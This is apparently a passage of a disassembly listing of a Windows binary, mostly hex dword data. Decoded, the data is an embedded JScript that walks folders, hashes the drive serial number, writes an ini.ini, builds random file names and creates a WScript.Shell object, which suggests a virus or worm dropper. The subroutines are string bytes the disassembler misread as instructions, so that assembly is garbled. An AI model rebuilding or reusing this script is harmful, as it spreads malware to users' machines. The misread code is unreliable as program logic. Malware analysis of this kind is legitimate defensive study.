		dd 0B2D988BCh, 15E59D0Ah, 3D8E5FA2h, 3A2EC4BFh,	96DC9CB2h
		dd 3CC25A51h, 99A29D32h, 94B4A0E7h, 3C53E28Eh, 42E1438Ah
		dd 0E4A30E18h, 653B396Ah, 163BC58Fh, 413699C9h,	8D7A9A26h
		dd 42B5B59Ch, 399251A9h, 6BA5C780h, 710A2116h, 9A6D252h
		dd 1AECD152h, 65C79C37h, 8A50C2FBh, 22D81333h, 46E35D9Ah
		dd 6405B8F0h, 781970BFh, 9C2E9990h, 71AECD13h, 0AB8B247h
		dd 1670B776h, 93B33271h, 0E6643385h, 3B8B7724h,	0B255C591h
		dd 2711A7B8h, 5E8CD679h, 38616EBh, 0B79EB969h, 9B8A49C3h
		dd 851C2199h, 0DB9C9199h, 0AE3C6EBDh, 8A6DD5Fh,	4A771107h
		dd 0F6F2F772h, 7C904883h, 0F6475CB1h, 949388FDh, 85EC209Ch
		dd 0AB2B3099h, 3CFEDC5Bh, 0BBEC81AEh, 12D30CA9h, 6E2C6D84h
		dd 0F2F2F766h, 55BCACB8h, 7AD3BCACh, 8F385BADh,	44DE57EBh
		dd 126912A1h, 5BF7BA13h, 42934618h, 530EDFEEh, 53986285h
		dd 0E7BA32B3h, 0E5FAE3CBh, 0A42C299Bh, 0F7BB537Ch, 42F41845h
		dd 0F9FED428h, 14590A26h, 0F75A6677h, 0BF5C797Ch, 5485D37Ch
		dd 0D59F4DC4h, 41E82FBDh, 0BF404521h, 30F10825h, 0ADD43D6Dh
		dd 5343DE3Fh, 0A66FB404h, 47798720h, 56A08A42h,	0E5F302E9h
		dd 4DF2FD71h, 0FFA9A212h, 876F77A6h, 654F1030h,	0B659B40h
		dd 0C9D99852h, 342FB43Dh, 0DA03293Eh, 4210BA61h, 3BBD30EDh
		dd 61E184EEh, 0DD406569h, 971D0A66h, 99E4B750h,	404EE3DDh
		dd 66F280DCh, 3711E70Ah, 0EED4E661h, 554E171h, 0AF053794h
		dd 9C4CC235h, 1AAE3DD5h, 9BCA0371h, 0A25EB42Eh,	0BCA1EE3Eh
		dd 280DC47Ah, 5A16CEFh,	1CE16771h, 305C5BA0h, 0CA02A94Ch
		dd 9270877Bh, 5C43D6EAh, 0DE795E5Bh, 77A72712h,	0CC9DCAB3h
		dd 5458589Ah, 7937444Ch, 0BF2F33B1h, 28485CB4h,	83A7625Fh
		dd 66D0CA39h, 7BB2772Fh, 0D2E2D29Fh, 0D88A8BE5h, 25EDB237h
		dd 7B4ED5F6h, 4A923931h, 7A63D531h, 0B4CD9129h,	61173997h
		dd 2C8D0712h, 650A3A75h, 0F0E50509h, 0C1C4DFE7h, 0CEE96C29h
		dd 52FD904Ah, 0CA12F967h, 0B283C70Fh, 0E6462C99h, 6AC722CAh
		dd 0CE31797Bh, 4EA984FEh, 0E7961BACh, 9113BCB1h, 0CBC29F2Eh
		dd 2A8A4AF2h, 6513650Ah, 38F9A519h, 62659317h, 8EE6C071h
		dd 0E639470Ah, 5C9B8A38h, 7118A4B2h, 0A67C1FB8h, 92020D62h
		dd 17B14C2Fh, 2E72292Fh, 5959BCC7h, 9BD4B8B4h, 0AF253097h
		dd 0FA17AB02h, 5EDF3DB6h, 4FF24DC2h, 0E5676C5Bh, 0EAA4D10h
		dd 0C95E7DE8h, 0F6993B62h, 528C9A12h, 1C584A8Ah, 0E42F2C98h
		dd 0CF674459h, 0E16672BEh, 6688B67Eh, 78792C5Bh, 47C3C361h
		dd 6A93F784h, 2743C243h, 84870486h, 23A1A54Bh, 417E3B43h
		dd 5D8C627Fh, 0CA753980h, 2FDCE14Ch, 84D30B84h,	1DE64B3h
		dd 9FFA2C5Ah, 30A3CD14h, 927A5A7h, 6F53300Dh, 25EC2A9Fh
		dd 0C2E91DF7h, 2EDCD11Eh, 9A22DFA6h, 0E10BF35h,	7E6B09A4h
		dd 0BB7EDA21h, 1F0BFC50h, 0DE610B9Fh, 60A67D3Eh, 0A249DD13h
		dd 2B330E5Bh, 0F510BA6Bh, 4C9EFF2Bh, 2C54AEFCh,	0DCAFE467h
		dd 616D6274h, 0CEC89FCFh, 20616977h, 0A56197BAh, 1CBA5F94h
		dd 79B8CD77h, 2F9AECC6h, 0C1AB05BBh, 0E84B7945h, 7082BB42h
		dd 0AC32E262h, 7B44F2E3h, 983F179Eh, 2617E65Bh,	2E2B0BF3h
		dd 0CB7915Dh, 7B4E74F7h, 6274A3B9h, 59627539h, 85C5C4F9h
		dd 97613D1Ch, 1025ED79h, 0AFB12BC3h, 9EDAB89Ch,	0B0A7FAC7h
		dd 3E0964B4h, 677C4259h, 0CCC5A585h, 0E23E096Fh, 9AC22D90h
		dd 1D99F788h, 8BFE4378h, 3AD9DB57h, 279993C3h, 3DFC4E06h
		dd 0A0A21145h, 0DA793B22h, 3444212Ch, 3CDC0BCFh, 0E104CCCBh
		dd 0E969CC0Ch, 0CC538453h, 849C289Dh, 0AA6A4779h, 34CCCCD0h
		dd 0A1053FDCh, 0BD85325Fh, 0D136FFA2h, 9786235Dh, 0B0967731h
		dd 5D27CC50h, 0CC5E3FCCh, 74CCCE5Fh, 5FCC4621h,	9029CCCAh
		dd 4D33253Ah, 7449D0B8h, 0CDC136F8h, 53843BCCh,	0EF2E9C9Dh
		dd 0B0966667h, 85539987h, 259CCCEDh, 0AACD116Ch, 96EF3E4Eh
		dd 6CF9F275h, 279F276Eh, 3CF93BD2h, 73E4EE64h, 13332C6Dh
		dd 0A6664885h, 0CCCC210Bh, 955C2E14h, 859FEFB0h, 29959699h
		dd 69CC0B4h, 9A2A3A7Ch,	4D3998FBh, 96D306D8h, 0B9A84535h
		dd 83AA69CAh, 0FC845399h, 0DA169CABh, 6E1A72AEh, 34E7CABEh
		dd 573E55D9h, 0BA72AF48h, 992BF1DAh, 0C600D0C9h, 0CCD3D2E7h
		dd 0FE8E154Ch, 0FB18D7CAh, 0F773E57Fh, 9A6660Eh, 73E57E5Bh
		dd 395F9AD8h, 95FE2C4Dh, 665CFDD3h, 7F5212CEh, 0FD5574E5h
		dd 62679F2Bh, 9271A57Eh, 0CAFF4422h, 80E345EBh,	57F22BDAh
		dd 0D1524EDEh, 43805674h, 4EF8812h, 2CAC565Eh, 0AE38B62h
		dd 16263F4Eh, 82A1B488h, 2B8982D3h, 0C7A568FCh,	5DD229CFh
		dd 0B6E39B8Fh, 0D7B6E18Ch, 5EBBA44Fh, 0F6DD1FB7h, 0EABA71F9h
		dd 661D1371h, 2CE2FCB1h, 0CFD31467h, 8410744Dh,	18C6E3D1h
		dd 0E79677C9h, 0BBE7F855h, 7B068FC4h, 0CFB8ECFCh, 0C15E2BC9h
		dd 9FAF07E6h, 0DC785F38h, 0A0B9DEF9h, 78173BDCh, 7A3316C2h
		dd 0CF9287CFh, 78A737CFh, 0C8B9C4FDh, 5A545EE3h, 5102B45Ch
		dd 0BF3CEE3Ch, 88F689B9h
		dd 857B4968h, 0EFEE227Dh, 26611756h, 0A0746128h, 7DA57CB4h
		dd 4B131C09h, 0B15EC156h, 516FC02Ch, 2DD432E9h,	0CFF11E20h
		dd 29226839h, 0CFE9E899h, 435672A2h, 84115671h,	0F13E6C25h
		dd 0C5DC7B06h, 0D79A537Eh, 0E64370Fh, 0EC6F783Bh, 5FA21FA0h
		dd 4A969F1Eh, 87360284h, 0DD11F2F8h, 7E88F901h,	0F3FA698Bh
		dd 0A688B34Bh, 58AC2A32h, 878489AAh, 0FF9FBB3Eh, 4BDD9F32h
		dd 68F9578Bh, 2BAC27B1h, 13F8F5ADh, 97D8F51Dh, 0D828C302h
		dd 0B72A2EE3h, 0B6C0ED7Bh, 0EC8B45A2h, 697E2579h, 763CB709h
		dd 4FFB1814h, 0C11A185Fh, 9574E767h, 0D3BE57F5h, 463D5FE1h
		dd 1D53A983h, 0EBD459BEh, 7955A747h, 5FBB78E8h,	0E5A28ABCh
		dd 28283D38h, 0EBCC76C2h, 245FB447h, 323F1EFDh,	0B7828501h
		dd 8BCE8961h, 0ACF3CD5Fh, 29EBE025h, 7BF75F9Bh,	0F83D64FDh
		dd 0A26DBDB1h, 4C00484Dh, 34D9E2F3h, 7ED1EE2Fh,	1203D77Ah
		dd 0F01F1FE9h, 3DFBAFEDh, 780E9124h, 0ADBFDF88h, 21F6B982h
		dd 0CAE15DDFh, 0BCF0247h, 740D1ECBh, 77DC7E0Fh,	63E7736Fh
		dd 1F7B74BEh, 0F9178C0Fh, 0F6F740FBh, 1FDCF83Fh, 7E91293Dh
		dd 0DB4F24FAh, 3D2243B2h, 9FDB83B3h, 75E09DEh, 0D8B3F600h
		dd 8B7762D6h, 0BAF62E4Dh, 0CED2F2D8h, 0B1BDED97h, 1AAEC69Dh
		dd 0B1EC6B9Bh, 8EC6D5B1h, 0EC6F1B1Bh, 0C70DB1BFh, 0E5369C6Eh
		dd 610AE77Eh, 748927Fh,	0BCEFC9FDh, 779C19F3h, 0B5BFC33Eh
		dd 0B6F57705h, 0B690527h, 8AFE57CCh, 4C40567Bh,	9CE920DFh
		dd 545EDC7Dh, 1160B15Ah, 468C8A4Eh, 22C1697Bh, 0D855259Ch
		dd 0CF8591D9h, 7D7F2E9Fh, 707F3E01h, 2FC5F92Ch,	7FCA9E46h
		dd 601B3CF0h, 43DA269Fh, 85AF41FAh, 592A2F68h, 97CFDE81h
		dd 76530D1h, 0F30C153Eh, 28EDD104h, 0FD1C52Dh, 0FC6F29D0h
		dd 0A0256122h, 1E37901Ch, 728057Dh, 0BF2761E4h,	88BE5012h
		dd 0B713D8F3h, 87C8B951h, 0A427DC46h, 8D0E88D7h, 347DF2E8h
		dd 0E3E31680h, 0EB8EBE44h, 30003CE8h, 0BBB486h,	101A7BC6h
		dd 0C6515389h, 9FC197D6h, 4FF8D304h, 5F9C7489h,	42FDDE7Fh
		dd 7A4EFF60h, 0C2FDD031h, 0D1F72EC1h, 73BA052Fh, 5BDD031Bh
		dd 0EA77708Eh, 0A4DC0FFh, 87D81F69h, 0F9D3C6B2h, 0E6526658h
		dd 0FA093F9Fh, 0FAE4A7F2h, 61D57BD4h, 8C450F23h, 0C8B6A60Eh
		dd 3F05CE37h, 55801D00h, 2C72CDCCh, 0CED33066h,	66E7050Eh
		dd 2A4E2565h, 0C8245FCBh, 0AED24114h, 8F8CDEF7h, 0E0282431h
		dd 77DA92CEh, 4A3F1773h, 677E15BBh, 0D1E73DE4h,	0A71E43D0h
		dd 0DA51F8BAh, 805DF816h, 8F21E929h, 0E9DBE20Eh, 16EA8692h
		dd 8FD027D9h, 77E0CBD2h, 43FDCCD4h, 6AD3E4BAh, 0B9FF39EEh
		dd 0A7D49348h, 2E8EFE7Bh, 0ABE947Eh, 0E4BD1D7Eh, 0CF4FBBB3h
		dd 25D83CE5h, 0CDF4A1Fh, 0D70B68BFh, 9F35DE16h,	29EB0873h
		dd 90DFC22Fh, 947E81BEh, 92FC2447h, 49973D2Ch, 32E7B7DFh
		dd 43E4BAD9h, 2FC2E7E9h, 553297BFh, 0BCA7AC21h,	0BADB4CA8h
		dd 0EC7945E4h, 2F4D5F81h, 37FC9D79h, 92ED9D79h,	171E517h
		dd 9E96AD7Eh, 5FAA2BF1h, 7792FC77h, 7AB4A3F1h, 0D2F6B3F2h
		dd 9AEB08FFh, 2EFFEB0Fh, 0AABE947Eh, 7A1D9F8Bh,	91F49704h
		dd 49FBBB08h, 8908E684h, 0E4EF07B0h, 16800BCh, 858C065Ch
		dd 601B2962h, 600B6003h
dword_41A1E0	dd 636E7566h, 6E6F6974h, 74657220h, 28677261h, 0D7B2029h
					; DATA XREF: sub_403B73+28o
		dd 6176090Ah, 72612072h, 3D207367h, 63535720h, 74706972h
		dd 6772412Eh, 6E656D75h, 0D3B7374h, 6572090Ah, 6E727574h
		dd 67726120h, 654C2E73h, 6874676Eh, 30203E20h, 61203F20h
		dd 28736772h, 3A202930h, 3B222220h, 0D7D0A0Dh, 2F0A0D0Ah
		dd 6948202Fh, 6F726620h, 6977206Dh, 7265746Eh, 75522079h
		dd 61697373h, 29293A20h, 61760A0Dh, 73662072h, 203D206Fh
		dd 2077656Eh, 69746341h, 4F586576h, 63656A62h, 53222874h
		dd 70697263h, 676E6974h, 6C69462Eh, 73795365h, 4F6D6574h
		dd 63656A62h, 3B292274h, 0A0D0A0Dh, 92202F2Fh, 0E9E3AAA5h
		dd 0AA20A9A8h, 0ABA0E2A0h, 0A0DA3AEh, 20726176h, 646C6F66h
		dd 3D207265h, 6F736620h, 7465472Eh, 646C6F46h, 22287265h
		dd 225C5C2Eh, 0A0D3B29h, 2F2F0A0Dh, 0E0A58F20h,	0A4AEE5A5h
		dd 20E2AE20h, 6C6C6F43h, 69746365h, 0AF206E6Fh,	0A0AAA4AEh
		dd 0AEABA0E2h, 20A2AEA3h, 724120AAh, 20796172h,	0AAA4AEAFh
		dd 0ABA0E2A0h, 0A2AEA3AEh, 61760A0Dh, 75732072h, 6C6F6662h
		dd 73726564h, 6E203D20h, 41207765h, 79617272h, 0D3B2928h
		dd 3D20650Ah, 77656E20h, 756E4520h, 6172656Dh, 28726F74h
		dd 646C6F66h, 532E7265h, 6F466275h, 7265646Ch, 0D3B2973h
		dd 726F660Ah, 203B2820h, 612E6521h, 646E4574h, 203B2928h
		dd 6F6D2E65h, 654E6576h, 29287478h, 90A0D29h, 66627573h
		dd 65646C6Fh, 702E7372h, 28687375h, 74692E65h, 29286D65h
		dd 0A0D3B29h, 2F2F0A0Dh, 0ADE39420h, 0EFA8E6AAh, 0EFABA420h
		dd 0E0AEE120h, 0AEE0A8E2h, 20A8AAA2h, 0A0E2A0AAh, 0AEA3AEABh
		dd 0AEAF20A2h, 0E2A0A420h, 0AEE120A5h, 0ADA0A4A7h, 0A0DEFA8h
		dd 636E7566h, 6E6F6974h, 72696420h, 74726F73h, 202C6128h
		dd 7B202962h, 74657220h, 206E7275h, 442E6128h, 43657461h
		dd 74616572h, 2D206465h, 442E6220h, 43657461h, 74616572h
		dd 3B296465h, 0A0D7D20h, 2F2F0A0Dh, 0E0AE9120h,	0E3E0A8E2h
		dd 0AA20ACA5h, 0ABA0E2A0h, 0DA8A3AEh, 6275730Ah, 646C6F66h
		dd 2E737265h, 74726F73h, 72696428h, 74726F73h, 0D0A0D29h
		dd 202F2F0Ah, 0F1E0A581h, 0A5E120ACh, 0ADA9A8E0h, 0AD20A9EBh
		dd 0E0A5ACAEh, 0ADA8A220h, 0E2E1A5E7h, 0DA0E0A5h, 7261760Ah
		dd 72657320h, 206C6169h, 6F66203Dh, 7265646Ch, 6972442Eh
		dd 532E6576h, 61697265h, 6D754E6Ch, 2E726562h, 74536F74h
		dd 676E6972h, 0D3B2928h, 2F0A0D0Ah, 0AA91202Fh,	0EBA4A0ABh
		dd 0ACA5A0A2h, 0A5E1A220h, 0E4A8E620h, 0E120EBE0h, 0A9A8E0A5h
		dd 0A0AAA8ADh, 0A5A1202Ch, 20ACF1E0h, 0A0E2E1AEh, 20AAAEE2h
		dd 0A420E2AEh, 0ADA5ABA5h, 0AD20EFA8h, 0A5A420A0h, 0ECE2EFA2h
		dd 2F2F0A0Dh, 0AF20A820h, 0E7E3ABAEh, 20ACA5A0h, 0A5ACAEADh
		dd 0E1A820E0h, 0AEACAEAAh, 0AA20AEA3h, 0ABA0E2A0h, 20A0A3AEh
		dd 757320A2h, 6C6F6662h, 73726564h, 61760A0Dh, 61682072h
		dd 3D206873h, 0D3B3020h, 726F660Ah, 61762820h, 20692072h
		dd 3B30203Dh, 3C206920h, 72657320h, 2E6C6169h, 676E656Ch
		dd 203B6874h, 292B2B69h, 68090A0Dh, 20687361h, 73203D2Bh
		dd 61697265h, 68632E6Ch, 6F437261h, 74416564h, 20296928h
		dd 3834202Dh, 0D0A0D3Bh, 7361680Ah, 3D2B2068h, 39313120h
		dd 0D0A0D3Bh, 7261760Ah, 74756F20h, 20726964h, 7573203Dh
		dd 6C6F6662h, 73726564h, 7361685Bh, 20252068h, 0D3B5D39h
		dd 2F0A0D0Ah, 0AE91202Fh, 0A5A0A4A7h, 0A0E420ACh, 6920ABA9h
		dd 692E696Eh, 0A420696Eh, 0AF20EFABh, 0A4A5E0A5h, 20A8E7A0h
		dd 0A0E2A0AAh, 0A0A3AEABh, 69736E20h, 0AAE12D73h, 0E2AFA8E0h
		dd 760A0DE3h, 69207261h, 6966696Eh, 3D20656Ch, 6C6F6620h
		dd 2E726564h, 61657243h, 65546574h, 69467478h, 2228656Ch
		dd 2E696E69h, 22696E69h, 7274202Ch, 3B296575h, 6E690A0Dh
		dd 6C696669h, 72572E65h, 4C657469h, 28656E69h, 65735B22h
		dd 6F697463h, 29225D6Eh, 690A0D3Bh, 6966696Eh, 572E656Ch
		dd 65746972h, 656E694Ch, 69642228h, 20223D72h, 756F202Bh
		dd 72696474h, 0A0D3B29h, 2F2F0A0Dh, 0E1A08C20h,	0EBA2A8E1h
		dd 0A0ABA320h, 0E5EBADE1h, 0E120A820h, 0A0ABA3AEh, 0E5EBADE1h
		dd 0AB91202Eh, 0ACAEA3AEh, 0A8E7E120h, 0E2A5A0E2h, 0E120EFE1h
		dd 0A0ABA3AEh, 0EFA0ADE1h, 0A0ABA32Bh, 0EFA0ADE1h, 61760A0Dh
		dd 6F762072h, 206C6577h, 656E203Dh, 72412077h, 28796172h
		dd 2C226122h, 22652220h, 6922202Ch, 22202C22h, 202C226Fh
		dd 2C227522h, 22792220h, 0A0D3B29h, 20726176h, 736E6F63h
		dd 6E616E6Fh, 203D2074h, 2077656Eh, 61727241h, 62222879h
		dd 22202C22h, 202C2263h, 2C226422h, 22662220h, 6722202Ch
		dd 22202C22h, 202C2268h, 2C226A22h, 226B2220h, 6C22202Ch
		dd 22202C22h, 202C226Dh, 2C226E22h, 22702220h, 7122202Ch
		dd 22202C22h, 202C2272h, 2C227322h, 22742220h, 7622202Ch
		dd 22202C22h, 202C2277h, 2C227822h, 227A2220h, 0A0D3B29h
		dd 2F2F0A0Dh, 0ABAE8A20h, 0E1A5E7A8h, 20AEA2E2h, 0A3AEABE1h
		dd 0A220A2AEh, 0A7A0AD20h, 0A8ADA0A2h, 760A0DA8h, 73207261h
		dd 616C6C79h, 73656C62h, 32203D20h, 68202B20h, 20687361h
		dd 3B332025h, 0A0D0A0Dh, 20726176h, 656D616Eh, 22203D20h
		dd 0D203B22h, 7261760Ah, 6F707620h
		db 73h

; =============== S U B	R O U T	I N E =======================================



sub_41A7C9	proc near		; CODE XREF: sub_41AAFF+1p
					; sub_41AF33+19p ...

; FUNCTION CHUNK AT 0041A81B SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0041A8CC SIZE 0000005C BYTES
; FUNCTION CHUNK AT 0041A92C SIZE 00000067 BYTES
; FUNCTION CHUNK AT 0041A9A4 SIZE 00000042 BYTES

		and	ds:72657320h, bh
		imul	esp, [ecx+6Ch],	6168632Eh
		jb	short loc_41A81B
sub_41A7C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A7D8	proc near		; CODE XREF: sub_41AF33+27Cp
					; sub_41B5DB+5Fp ...
		outsd
		db	64h, 65h
		inc	ecx
		jz	short near ptr loc_41A800+6
		xor	[ecx], ch
		and	ds:776F7620h, ah ; CODE	XREF: sub_41A7C9+6Dj
		db	65h
		insb
		db	2Eh		; CODE XREF: .data:0041AD18p
					; .data:0041AD20p ...
		insb
sub_41A7D8	endp ; sp-analysis failed

		outs	dx, byte ptr gs:[esi]
		db	67h
		jz	near ptr 0A857h
		cmp	ecx, ds:7261760Ah
		and	[ebx+70h], ah
		outsd
		jnb	short loc_41A81B
		cmp	eax, 72657320h

loc_41A800:				; CODE XREF: sub_41A7D8+4j
		imul	esp, [ecx+6Ch],	6168632Eh
		jb	short near ptr loc_41A848+4
		outsd
		db	64h, 65h
		inc	ecx
		jz	short near ptr loc_41A836+1
		xor	[ecx], ch
		and	ds:6E6F6320h, ah
		jnb	short sub_41A888
		outsb
		popa
; START	OF FUNCTION CHUNK FOR sub_41A7C9

loc_41A81B:				; CODE XREF: sub_41A7C9+Dj
					; .data:0041A7F9j
		outsb
		jz	short near ptr loc_41A848+4
		insb
		outs	dx, byte ptr gs:[esi]
		db	67h
		jz	near ptr 0A88Ch
		cmp	ecx, ds:2F0A0D0Ah ; CODE XREF: sub_41A9E6:loc_41AAB0p
					; .data:0041AC4Ep ...
		das
		and	[ecx-575A5456h], dl
		mov	ds:20ACA5A0h, al

loc_41A836:				; CODE XREF: .data:0041A80Dj
		loope	near ptr loc_41A7E0+3
		scasb
		mov	ds:660A0DA8h, eax
		outsd
		jb	short near ptr loc_41A860+1
		sub	[esi+61h], dh
		jb	short loc_41A866
		push	20h

loc_41A848:				; CODE XREF: .data:0041A807j
					; sub_41A7C9+53j
		cmp	eax, 203B3020h
		push	20h
		cmp	al, 20h
		jnb	short loc_41A8CC
		insb
		insb
		popa
		bound	ebp, [ebp+73h]
		cmp	esp, [eax]
		push	2Bh
		sub	ebp, [ecx]

loc_41A860:				; CODE XREF: sub_41A7C9+76j
		and	[ebx+0Dh], bh
; END OF FUNCTION CHUNK	FOR sub_41A7C9

; =============== S U B	R O U T	I N E =======================================



sub_41A863	proc near		; CODE XREF: sub_41B5DB+4Ep
		or	cl, [ecx]
		outsb

loc_41A866:				; CODE XREF: sub_41A7C9+7Bj
		popa
		insd
		and	gs:[ebx], ch
		cmp	eax, 6E6F6320h
		jnb	short near ptr loc_41A8E0+1
		outsb
		popa
		outsb
		jz	short loc_41A8D2
		arpl	[eax+6Fh], si
		jnb	short near ptr loc_41A89B+1
		and	eax, 6E6F6320h
		jnb	short near ptr loc_41A8F1+1
		outsb
		popa
		outsb
		jz	short near ptr loc_41A8B5+1
sub_41A863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A888	proc near		; CODE XREF: .data:0041A817j
					; sub_41B794+14Ap
		insb
		outs	dx, byte ptr gs:[esi]
		db	67h
		jz	near ptr 0A8F6h
		pop	ebp
		and	[ebx], ch
		and	[esi+6Fh], dh
		ja	short loc_41A8FB
		insb
		pop	ebx
		jbe	short near ptr loc_41A905+5
		outsd

loc_41A89B:				; CODE XREF: sub_41A863+17j
		jnb	short near ptr sub_41A8BB+2
		and	eax, 776F7620h
		db	65h
		insb
		db	2Eh
		insb
		outs	dx, byte ptr gs:[esi]
		db	67h
		jz	near ptr 0A913h
		pop	ebp
		cmp	ecx, ds:7076090Ah
		outsd
		jnb	short near ptr loc_41A8D2+3

loc_41A8B5:				; CODE XREF: sub_41A863+23j
		sub	edi, ds:72657320h
sub_41A888	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A8BB	proc near		; CODE XREF: .data:0041AD2Bp
					; .data:0041AD4Bp ...
		imul	esp, [ecx+6Ch],	6168632Eh
		jb	short near ptr loc_41A905+2
		outsd
		db	64h, 65h
		inc	ecx
		jz	short near ptr loc_41A8F1+1
		push	29h
sub_41A8BB	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_41A7C9

loc_41A8CC:				; CODE XREF: sub_41A7C9+88j
		and	[ebx], ch
		and	[ecx], dh
		cmp	[ebx], edi

loc_41A8D2:				; CODE XREF: sub_41A863+12j
					; sub_41A888+2Bj
		or	eax, 7063090Ah
		outsd
		jnb	short near ptr loc_41A8F9+1
		sub	edi, ds:72657320h

loc_41A8E0:				; CODE XREF: sub_41A863+Dj
		imul	esp, [ecx+6Ch],	6168632Eh
		jb	short loc_41A92C
		outsd
		db	64h, 65h
		inc	ecx
		jz	short loc_41A917
		push	20h

loc_41A8F1:				; CODE XREF: sub_41A863+1Ej
					; sub_41A8BB+Dj
		sub	esp, [eax]
		xor	[ecx], ebp
		and	[ebx], ch
		and	[ecx], dh

loc_41A8F9:				; CODE XREF: sub_41A7C9+10Fj
		xor	edi, [ebx]

loc_41A8FB:				; CODE XREF: sub_41A888+Cj
		or	eax, 0A0D7D0Ah
		or	eax, 202F2F0Ah	; CODE XREF: sub_41A7C9+152j

loc_41A905:				; CODE XREF: sub_41A8BB+7j
					; sub_41A7C9+157j ...
		test	[esi-545D5F5Fh], ch
		out	dx, eax
		movsd
		lodsb
		and	[edx-1F5051E0h], ah
		movsd
		movsb
		movsd

loc_41A917:				; CODE XREF: sub_41A7C9+124j
		stosd
		icebp
		lodsd
		lodsd
		jmp	short near ptr loc_41A900+2
; ---------------------------------------------------------------------------

loc_41A91D:				; CODE XREF: sub_41A7C9+164j
		and	cl, ah
		stosd
		jecxz	short near ptr loc_41A905+4
		mov	al, ds:0E120E5EFh
		scasb
; END OF FUNCTION CHUNK	FOR sub_41A7C9
; ---------------------------------------------------------------------------
		dd 0E1A0ABA3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A7C9

loc_41A92C:				; CODE XREF: sub_41A7C9+11Ej
		lodsd
		jecxz	short loc_41A91D
		and	[edx-525155E0h], ah

loc_41A935:				; CODE XREF: sub_41A7C9:loc_41A991j
		movsd
		out	0Dh, al		; DMA controller, 8237A-5.
					; master clear.
					; Any OUT clears the ctrlr (must be re-initialized)
		or	ch, [ecx+66h]
		and	[eax], ch
		jnb	short loc_41A9A4
		jb	short loc_41A9AA
		popa
		insb
		arpl	cs:[eax+61h], bp
		jb	short near ptr loc_41A98B+1
		outsd
		db	64h, 65h
		inc	ecx
		jz	short near ptr loc_41A976+1
		xor	al, 29h
		and	[esi], bh
		and	ds:0A0D2932h, dh
		or	[esi+61h], ebp
		insd
		and	gs:[ebx], ch
		cmp	eax, 6E6F6320h
		jnb	short loc_41A9D6
		outsb
		popa
		outsb
		jz	short loc_41A9C7
		arpl	[eax+6Fh], si
		jnb	short loc_41A991
		and	eax, 6E6F6320h

loc_41A976:				; CODE XREF: sub_41A7C9+184j
		jnb	short loc_41A9E7
		outsb
		popa
		outsb
		jz	short near ptr loc_41A9AA+1
		insb
		outs	dx, byte ptr gs:[esi]
		db	67h
		jz	near ptr 0A9EBh
		pop	ebp
		cmp	ecx, ds:2F0A0D0Ah
		das

loc_41A98B:				; CODE XREF: sub_41A7C9+17Ej
		and	[edi-1E575060h], al

loc_41A991:				; CODE XREF: sub_41A7C9+1A6j
		jmp	short loc_41A935
; END OF FUNCTION CHUNK	FOR sub_41A7C9
; ---------------------------------------------------------------------------
		db 0A0h
		dd 0A820ACA5h, 0E420EFACh, 0A0ABA9A0h, 0A820A220h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A7C9

loc_41A9A4:				; CODE XREF: sub_41A7C9+174j
		lodsd
		test	al, 0E8h
		stosb
		jecxz	short near ptr loc_41A9B6+1

loc_41A9AA:				; CODE XREF: sub_41A7C9+176j
					; sub_41A7C9+1B2j
		or	ch, [ecx+6Eh]
		imul	esp, [esi+69h],	572E656Ch
		jb	short near ptr loc_41AA1B+4

loc_41A9B6:				; CODE XREF: sub_41A7C9+1DFj
		jz	short near ptr loc_41AA1B+2
		dec	esp
		imul	ebp, [esi+65h],	616E2228h
		insd
		db	65h
		cmp	eax, 202B2022h

loc_41A9C7:				; CODE XREF: sub_41A7C9+1A1j
		outsb
		popa
		insd
		and	gs:[ebx], ch
		and	[edx+65h], dh
		jz	short near ptr loc_41AA2F+4
		jb	short near ptr loc_41AA38+3
		sub	[ecx], ch

loc_41A9D6:				; CODE XREF: sub_41A7C9+19Cj
		and	[ebx], ch
		and	[edx], ah
		db	2Eh, 64h
		insb
		insb
		and	ch, [ecx]
		cmp	ecx, ds:2F0A0D0Ah
; END OF FUNCTION CHUNK	FOR sub_41A7C9

; =============== S U B	R O U T	I N E =======================================



sub_41A9E6	proc near		; CODE XREF: .data:0041AEADp
					; sub_41B794+F8p

var_14		= dword	ptr -14h

; FUNCTION CHUNK AT 0041AAAC SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0041AAB0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0041AAE3 SIZE 0000001C BYTES

		das

loc_41A9E7:				; CODE XREF: sub_41A7C9:loc_41A976j
		and	[esi+61h], dh
		jb	short loc_41AA0C
		outsd
		push	ebx
		push	206C6C65h
		cmp	eax, 63535720h
		jb	short loc_41AA63
		jo	short near ptr loc_41AA6F+1
		db	2Eh
		inc	ebx
		jb	short loc_41AA65
		popa
		jz	short loc_41AA68
		dec	edi
		bound	ebp, [edx+65h]
		arpl	[eax+ebp+22h], si
		push	edi

loc_41AA0C:				; CODE XREF: sub_41A9E6+4j
		push	ebx
		arpl	[edx+69h], si
		jo	short near ptr loc_41AA84+2
		db	2Eh
		push	ebx
		push	226C6C65h
		sub	[ebx], edi

loc_41AA1B:				; CODE XREF: sub_41A7C9:loc_41A9B6j
					; sub_41A7C9+1EBj
		or	eax, 202F2F0Ah
		outsd
		push	ebx
		push	2E6C6C65h
		inc	ebx
		jnz	short near ptr loc_41AA9A+2
		jb	short loc_41AA91
		outsb
		jz	short near ptr loc_41AA71+2

loc_41AA2F:				; CODE XREF: sub_41A7C9+207j
		imul	esi, [edx+65h],	726F7463h
		jns	short loc_41AA58

loc_41AA38:				; CODE XREF: sub_41A7C9+209j
		cmp	eax, 74654720h
		push	esp
		push	72615065h
		outs	dx, byte ptr gs:[esi]
		jz	short loc_41AA82
		or	eax, 202F2F0Ah
		push	edi
		push	ebx
		arpl	[edx+69h], si
		jo	short loc_41AAC7
		db	2Eh
		inc	ebp
		arpl	[eax+6Fh], bp

loc_41AA58:				; CODE XREF: sub_41A9E6+50j
		sub	[edi+53h], ch
		push	2E6C6C65h
		inc	ebx
		jnz	short near ptr loc_41AAD4+1

loc_41AA63:				; CODE XREF: sub_41A9E6+12j
		jb	short near ptr loc_41AAC9+1

loc_41AA65:				; CODE XREF: sub_41A9E6+18j
		outsb
		jz	short loc_41AAAC

